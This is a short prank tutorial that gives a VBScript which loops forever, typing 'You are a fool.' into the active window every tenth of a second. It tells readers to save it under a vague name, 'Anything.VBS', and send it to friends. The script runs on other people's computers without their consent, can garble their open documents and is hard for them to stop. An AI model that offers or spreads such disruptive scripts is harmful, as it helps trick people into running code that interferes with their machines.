Hack your friend's keyboard and make him type anything

Hack your friend's keyboard and make him type
"You are a fool" simultaneously:
Type:
Code:

set wshShell =

wscript.CreateObject("WScript.Shell")
do

wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it to your friends..
<<<<<Enjoy>>>>>